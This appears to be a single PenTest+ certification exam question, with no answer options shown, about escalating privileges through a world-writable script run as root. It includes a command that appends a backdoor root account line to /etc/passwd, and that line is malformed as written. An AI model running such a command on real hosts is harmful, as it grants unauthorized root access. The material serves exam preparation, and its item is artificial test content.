CompTIA PenTest+ (PT0-003) PT0-003 — Question 223

A penetration tester gains low-privilege shell access to a host and discovers a world-writable script that is run regularly as root. The tester runs the following command: openssl passwd password $l$OjxLvZ85$Fdr51vn/Z4zXWsQR/Xrj . The tester then adds the following line to the world-writable script echo 'root2:$l$OjxLvZ85$Fdr51vn/Z4zXWsQR/Xrj1001:1001:,,,: /root:/bin/bash" >> /etc/passwd Which of the following should the penetration tester do to enable this exploit to work correctly?